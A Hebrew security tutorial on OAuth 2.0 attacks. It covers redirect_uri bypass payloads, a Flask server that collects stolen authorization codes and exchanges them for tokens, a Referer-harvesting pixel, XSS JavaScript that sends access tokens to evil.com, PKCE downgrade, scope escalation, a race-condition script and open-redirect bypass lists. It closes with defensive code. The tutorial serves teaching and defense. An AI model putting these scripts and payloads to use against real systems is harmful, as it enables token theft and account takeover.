לדלג לתוכן

תקיפת OAuth 2.0 - OAuth 2.0 Attacks

מבוא

פרוטוקול OAuth 2.0 הוא הסטנדרט הנפוץ ביותר להרשאה מאומתת (delegated authorization) באינטרנט. הוא מאפשר למשתמשים לתת לאפליקציות צד שלישי גישה למשאבים שלהם מבלי לחשוף את הסיסמה. למרות שהפרוטוקול עצמו תוכנן להיות מאובטח, הטמעות לקויות יוצרות חולשות קריטיות שמאפשרות גניבת טוקנים, השתלטות על חשבונות, והסלמת הרשאות.


סקירת זרימות OAuth 2.0

זרימת Authorization Code

הזרימה המאובטחת ביותר, מיועדת לאפליקציות צד-שרת:

1. משתמש -> אפליקציה: לחיצה על "התחבר עם Google"
2. אפליקציה -> Authorization Server: הפניה עם client_id, redirect_uri, scope, state
3. משתמש -> Authorization Server: הזנת פרטי התחברות ואישור
4. Authorization Server -> אפליקציה: הפניה חזרה עם authorization code
5. אפליקציה -> Authorization Server: החלפת code ב-access token (בקשת backend)
6. אפליקציה -> Resource Server: גישה למשאבים עם access token

בקשת הרשאה:

GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read+write&
    state=random_csrf_token
Host: oauth-server.com

החלפת code בטוקן:

POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&
code=AUTH_CODE_HERE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET

זרימת Implicit

מיועדת לאפליקציות צד-לקוח (SPA), מחזירה טוקן ישירות ב-URL:

GET /authorize?
    response_type=token&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read
Host: oauth-server.com

תגובה:

HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=TOKEN&token_type=bearer&expires_in=3600

זרימת Client Credentials

לתקשורת בין שרתים (machine-to-machine):

POST /token HTTP/1.1
Host: oauth-server.com
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&
client_id=app123&
client_secret=SECRET&
scope=admin

תקיפה 1: מניפולציית Redirect URI - Redirect URI Manipulation

הרקע

כאשר ה-redirect_uri לא מאומת כראוי, תוקף יכול להפנות את ה-authorization code או את הטוקן לשרת שלו.

דוגמאות לעקיפת בדיקת redirect_uri

# URI מקורי
redirect_uri=https://app.com/callback

# עקיפה באמצעות subdomain
redirect_uri=https://evil.app.com/callback

# עקיפה באמצעות path traversal
redirect_uri=https://app.com/callback/../evil

# עקיפה באמצעות parameter pollution
redirect_uri=https://app.com/callback&redirect_uri=https://evil.com

# עקיפה באמצעות קידוד URL
redirect_uri=https://app.com%40evil.com/callback

# עקיפה באמצעות open redirect באפליקציה
redirect_uri=https://app.com/redirect?url=https://evil.com

# עקיפה באמצעות fragment
redirect_uri=https://app.com/callback#@evil.com

# עקיפה באמצעות localhost variants
redirect_uri=https://app.com/callback@evil.com
redirect_uri=https://evil.com#app.com/callback
redirect_uri=https://app.com/callback%23@evil.com

תרחיש תקיפה מלא

שלב 1: התוקף יוצר לינק זדוני
https://oauth-server.com/authorize?
    response_type=code&
    client_id=legit_app&
    redirect_uri=https://evil.com/steal&
    scope=read+write&
    state=xyz

שלב 2: הקורבן לוחץ על הלינק ומאשר

שלב 3: ה-authorization code נשלח לתוקף
https://evil.com/steal?code=STOLEN_CODE&state=xyz

שלב 4: התוקף מחליף את ה-code בטוקן

קוד תקיפה

from flask import Flask, request
import requests

app = Flask(__name__)

OAUTH_TOKEN_URL = "https://oauth-server.com/token"
CLIENT_ID = "legit_app_id"
CLIENT_SECRET = "stolen_or_known_secret"

@app.route('/steal')
def steal_code():
    """קבלת authorization code גנוב"""
    code = request.args.get('code')

    if code:
        # החלפת הקוד בטוקן
        resp = requests.post(OAUTH_TOKEN_URL, data={
            'grant_type': 'authorization_code',
            'code': code,
            'redirect_uri': 'https://evil.com/steal',
            'client_id': CLIENT_ID,
            'client_secret': CLIENT_SECRET
        })

        token_data = resp.json()
        access_token = token_data.get('access_token')

        print(f"[+] גנבנו טוקן: {access_token}")

        # שימוש בטוקן לגישה למידע הקורבן
        user_info = requests.get(
            "https://oauth-server.com/userinfo",
            headers={"Authorization": f"Bearer {access_token}"}
        )
        print(f"[+] מידע על הקורבן: {user_info.json()}")

    return "תודה!", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

תקיפה 2: יירוט Authorization Code - Code Interception via Referer

הרקע

כאשר עמוד ה-callback מכיל קישורים חיצוניים או טוען משאבים חיצוניים, ה-authorization code עלול לדלוף דרך ה-Referer header.

תרחיש

# עמוד ה-callback מכיל תמונה חיצונית או לינק
GET /callback?code=SECRET_CODE HTTP/1.1
Host: app.com

# התגובה מכילה:
<html>
<img src="https://external-analytics.com/pixel.gif">
<a href="https://external-site.com">Click here</a>
</html>

# כאשר הדפדפן טוען את התמונה, ה-Referer נשלח:
GET /pixel.gif HTTP/1.1
Host: external-analytics.com
Referer: https://app.com/callback?code=SECRET_CODE

ניצול

from flask import Flask, request

app = Flask(__name__)

@app.route('/pixel.gif')
def steal_via_referer():
    """גניבת code דרך Referer header"""
    referer = request.headers.get('Referer', '')

    if 'code=' in referer:
        # חילוץ ה-code מה-Referer
        import urllib.parse
        parsed = urllib.parse.urlparse(referer)
        params = urllib.parse.parse_qs(parsed.query)
        code = params.get('code', [''])[0]

        print(f"[+] קוד שנגנב מ-Referer: {code}")
        with open('stolen_codes.txt', 'a') as f:
            f.write(f"{code}\n")

    # החזרת תמונה ריקה בגודל 1x1
    return b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b', 200, {'Content-Type': 'image/gif'}

תקיפה 3: CSRF ב-OAuth - חוסר פרמטר State

הרקע

פרמטר state נועד למנוע CSRF בזרימת OAuth. כאשר הוא חסר או לא מאומת, תוקף יכול לקשר את חשבון הקורבן לחשבון OAuth של התוקף.

תרחיש תקיפה

שלב 1: התוקף מתחיל זרימת OAuth ועוצר לפני ה-callback
    הוא מקבל authorization code משלו

שלב 2: התוקף שולח לקורבן את לינק ה-callback עם הקוד שלו:
    https://app.com/callback?code=ATTACKER_CODE

שלב 3: הקורבן לוחץ -> החשבון שלו מקושר לחשבון OAuth של התוקף

שלב 4: התוקף מתחבר עם חשבון ה-OAuth שלו ומקבל גישה לחשבון הקורבן

בדיקת החולשה

# בקשה מקורית - שימו לב לפרמטר state
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read&
    state=abc123
Host: oauth-server.com

# בדיקה: האם האפליקציה מאמתת את state?
# נסו לשלוח callback ללא state או עם state שונה:
GET /callback?code=VALID_CODE HTTP/1.1
Host: app.com
# אם עובד ללא state -> חשוף ל-CSRF

תקיפה 4: דליפת טוקן דרך Referer - Token Leakage

הרקע

בזרימת Implicit, הטוקן מועבר ב-URL fragment (#). למרות ש-fragments לא נשלחים בדרך כלל ב-Referer, JavaScript יכול לקרוא אותם ולהעביר אותם.

תרחיש

# ה-callback מחזיר את הטוקן ב-fragment
HTTP/1.1 302 Found
Location: https://app.com/callback#access_token=SECRET_TOKEN&token_type=bearer

# אם האפליקציה מעבירה את הטוקן לפרמטר URL:
https://app.com/dashboard?token=SECRET_TOKEN

# כעת הטוקן יודלף ב-Referer לכל אתר חיצוני

קוד JavaScript שגונב טוקן מ-fragment

// קוד זדוני שיכול להיות מוזרק באמצעות XSS
if (window.location.hash) {
    var fragment = window.location.hash.substring(1);
    var params = new URLSearchParams(fragment);
    var token = params.get('access_token');

    if (token) {
        // שליחת הטוקן לתוקף
        new Image().src = 'https://evil.com/steal?token=' + token;
    }
}

תקיפה 5: עקיפת PKCE - PKCE Downgrade Attack

הרקע

PKCE (Proof Key for Code Exchange) נועד למנוע יירוט של authorization codes. אם השרת לא דורש PKCE באופן מחייב, ניתן לבצע downgrade.

זרימת PKCE תקינה

1. הלקוח יוצר code_verifier (מחרוזת אקראית)
2. הלקוח מחשב code_challenge = SHA256(code_verifier)
3. בקשת הרשאה כוללת code_challenge
4. בהחלפת code בטוקן, הלקוח שולח code_verifier
5. השרת מוודא ש-SHA256(code_verifier) == code_challenge

תקיפת Downgrade

# בקשה מקורית עם PKCE
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM&
    code_challenge_method=S256
Host: oauth-server.com

# תקיפה: שליחת בקשה ללא PKCE
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback
Host: oauth-server.com

# אם השרת מקבל בקשה ללא PKCE -> חשוף ל-downgrade

# בשלב ההחלפה, לא צריך code_verifier:
POST /token
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=app123

תקיפה 6: ניצול הרשאות - Scope Abuse and Privilege Escalation

הרקע

שרתים שלא מאמתים כראוי את ה-scope המבוקש עלולים לתת הרשאות מעבר למה שאושר.

תרחישי תקיפה

# בקשת scope מינימלי
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read
Host: oauth-server.com

# תקיפה 1: הוספת scope נוסף
GET /authorize?
    response_type=code&
    client_id=app123&
    redirect_uri=https://app.com/callback&
    scope=read+write+admin
Host: oauth-server.com

# תקיפה 2: שינוי scope בבקשת token
POST /token
grant_type=authorization_code&
code=AUTH_CODE&
redirect_uri=https://app.com/callback&
client_id=app123&
client_secret=SECRET&
scope=admin

בדיקה עם Burp

# יירטו את בקשת ה-authorize ושנו את ה-scope
# בדקו אם השרת מציג למשתמש את ה-scope האמיתי
# או שהוא מציג רק את ה-scope המקורי של האפליקציה

# נסו גם scope שלא קיים - שרתים מסוימים מתעלמים מ-scopes לא מוכרים
scope=read+write+admin+superadmin+god_mode

תקיפה 7: מרוץ תהליכים בהחלפת טוקן - Race Conditions in Token Exchange

הרקע

Authorization codes הם חד-פעמיים. אך אם יש חלון זמן בין בדיקת התקינות לביטול, ניתן להשתמש באותו code פעמיים.

תקיפה

import threading
import requests

def race_condition_token_exchange(code, client_id, client_secret, redirect_uri):
    """ניצול race condition בהחלפת authorization code"""

    results = []

    def exchange_code():
        resp = requests.post(
            "https://oauth-server.com/token",
            data={
                'grant_type': 'authorization_code',
                'code': code,
                'redirect_uri': redirect_uri,
                'client_id': client_id,
                'client_secret': client_secret
            }
        )
        results.append(resp.json())

    # שליחת מספר בקשות במקביל
    threads = []
    for _ in range(20):
        t = threading.Thread(target=exchange_code)
        threads.append(t)

    # הפעלה בו-זמנית
    for t in threads:
        t.start()

    for t in threads:
        t.join()

    # בדיקת תוצאות
    tokens = [r.get('access_token') for r in results if 'access_token' in r]
    print(f"[*] קיבלנו {len(tokens)} טוקנים מקוד יחיד")

    # אם קיבלנו יותר מטוקן אחד - חולשה!
    if len(tokens) > 1:
        print("[+] נמצא race condition!")
        for i, token in enumerate(tokens):
            print(f"  טוקן {i+1}: {token}")

    return tokens

תקיפה 8: שרשור Open Redirect לגניבת טוקנים

הרקע

גם כאשר ה-redirect_uri מאומת, אם קיים open redirect באפליקציה עצמה, ניתן לשרשר אותו לגניבת טוקנים.

תרחיש מלא

# שלב 1: מציאת open redirect באפליקציה
GET /goto?url=https://evil.com HTTP/1.1
Host: app.com

HTTP/1.1 302 Found
Location: https://evil.com

# שלב 2: שרשור עם OAuth
# ה-redirect_uri עובר את הבדיקה כי הוא באותו דומיין
GET /authorize?
    response_type=token&
    client_id=app123&
    redirect_uri=https://app.com/goto?url=https://evil.com&
    scope=read
Host: oauth-server.com

# שלב 3: הזרימה
# 1. OAuth Server מפנה ל: https://app.com/goto?url=https://evil.com#access_token=TOKEN
# 2. האפליקציה מפנה ל: https://evil.com#access_token=TOKEN
# 3. התוקף מקבל את הטוקן!

שיטות למציאת Open Redirect

# בדיקת פרמטרים נפוצים
/redirect?url=https://evil.com
/goto?url=https://evil.com
/login?next=https://evil.com
/logout?redirect=https://evil.com
/oauth/callback?continue=https://evil.com

# עקיפות
/redirect?url=//evil.com
/redirect?url=https:evil.com
/redirect?url=\/\/evil.com
/redirect?url=https://app.com@evil.com
/redirect?url=https://app.com.evil.com

דוגמאות מהעולם האמיתי

חולשה ב-Facebook OAuth (2013)

נמצא שניתן לשנות את ה-redirect_uri ל-URL אחר באותו דומיין facebook.com. בשילוב עם open redirect בתוך Facebook, תוקפים גנבו access tokens של משתמשים.

חולשה ב-Slack OAuth (2017)

Slack לא אימת כראוי את ה-state parameter, מה שאפשר תקיפות CSRF שקישרו חשבונות Slack לחשבון OAuth של תוקף.

חולשה ב-Microsoft OAuth (2020)

נמצא שניתן להשתמש ב-redirect_uri עם subdomain שונה תחת *.microsoft.com, מה שבשילוב עם XSS ב-subdomain אחר אפשר גניבת טוקנים.


הגנות - Defenses

1. אימות redirect_uri מדויק

# שגוי - בדיקת prefix
def validate_redirect(uri):
    return uri.startswith("https://app.com")  # מאפשר app.com.evil.com

# נכון - התאמה מדויקת
ALLOWED_REDIRECTS = [
    "https://app.com/callback",
    "https://app.com/oauth/callback"
]

def validate_redirect(uri):
    return uri in ALLOWED_REDIRECTS

2. שימוש ב-PKCE

import hashlib
import base64
import secrets

def generate_pkce():
    """יצירת PKCE code verifier ו-challenge"""
    code_verifier = secrets.token_urlsafe(64)

    code_challenge = base64.urlsafe_b64encode(
        hashlib.sha256(code_verifier.encode()).digest()
    ).rstrip(b'=').decode()

    return code_verifier, code_challenge

3. אימות state parameter

import secrets
from flask import session

def generate_state():
    state = secrets.token_urlsafe(32)
    session['oauth_state'] = state
    return state

def validate_state(received_state):
    expected = session.pop('oauth_state', None)
    if not expected or expected != received_state:
        raise ValueError("Invalid state parameter - possible CSRF")

4. שיטות הגנה נוספות

- השתמשו תמיד בזרימת Authorization Code (לא Implicit)
- הפעילו PKCE לכל הלקוחות
- בצעו אימות מדויק של redirect_uri (לא prefix match)
- אמתו תמיד את פרמטר state
- השתמשו ב-Referrer-Policy: no-referrer למניעת דליפה
- הגבילו את ה-scope למינימום הנדרש
- בצעו ביטול מיידי של authorization code לאחר שימוש
- הגבילו את אורך חיי הטוקן

סיכום

תקיפות OAuth 2.0 מנצלות בעיקר הטמעות לקויות ולא חולשות בפרוטוקול עצמו. הנקודות הקריטיות:

  • אימות redirect_uri חייב להיות מדויק ולא מבוסס prefix
  • פרמטר state חובה לכל זרימת OAuth
  • יש להשתמש ב-PKCE תמיד
  • דליפות קוד וטוקן דרך Referer הן נפוצות ומסוכנות
  • בדקו תמיד open redirects באפליקציה - הם משמשים לשרשור תקיפות OAuth